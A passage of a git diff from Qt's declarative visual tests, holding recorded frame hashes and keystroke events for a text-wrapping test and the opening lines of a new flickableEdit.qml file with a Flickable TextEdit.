+ }
+ Frame {
+ msec: 2928
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2960
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2976
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2992
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3008
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3024
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3040
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3056
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3072
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3088
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3120
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3136
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3152
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3168
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3184
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3200
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3216
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3232
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3248
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3280
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3296
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3328
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3344
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3360
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3376
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3392
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3408
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3424
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3440
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3456
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3472
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3488
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3504
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3520
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3536
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3568
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3584
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3600
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3616
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3632
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3648
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3664
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3712
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3728
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3744
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3760
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3776
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3792
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3808
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3824
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3840
+ image: "wrap.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3872
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3888
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3904
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3920
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3936
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3952
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3968
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 3984
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4000
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4016
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4032
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4048
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4064
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4096
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4112
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4128
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4144
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4160
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4176
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4192
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4208
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4224
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4240
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4256
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4272
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4304
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4320
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4336
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4352
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4368
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4384
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4400
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4416
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4432
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4448
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4464
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4496
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4512
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4528
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4544
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4576
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4592
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4608
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4624
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4640
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4656
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4672
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4688
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4704
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4720
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4736
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4752
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4768
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4784
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4800
+ image: "wrap.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4832
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4848
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4864
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4880
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4896
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4912
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4928
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4944
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4976
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 4992
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5008
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5024
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5040
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5056
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5072
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5088
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5104
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5120
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5136
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5152
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5168
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5184
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5200
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5216
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5232
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5248
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5264
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5280
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5296
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5312
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5328
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5344
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5360
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5376
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5392
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5408
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5424
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5440
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5456
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5472
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5488
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5504
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5520
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5536
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5552
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5568
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5584
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5600
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5616
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5632
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5648
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5664
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5680
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5696
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5712
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5728
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5744
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5760
+ image: "wrap.5.png"
+ }
+ Frame {
+ msec: 5776
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5792
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5808
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5824
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5840
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5856
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5872
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5888
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5904
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5920
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5936
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5952
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5968
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 5984
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6000
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6016
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6032
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6048
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6064
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6080
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6096
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6112
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6128
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6144
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6160
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6176
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6192
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6208
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6224
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6240
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6256
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6272
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6288
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6304
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6320
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6336
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6352
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6368
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6384
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6400
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6416
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6432
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6448
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6464
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6480
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6496
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6512
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6528
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6544
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6560
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6576
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6592
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6608
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6624
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6640
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6656
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6672
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6688
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6704
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6720
+ image: "wrap.6.png"
+ }
+ Frame {
+ msec: 6736
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6752
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6768
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6784
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6800
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6816
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6832
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6848
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 6864
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
new file mode 100644
index 00000000..6913fdd7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 200
+ height: 50
+ contentWidth: 400
+
+ Column {
+ anchors.fill: parent
+
+ TextEdit {
+ selectByMouse: true
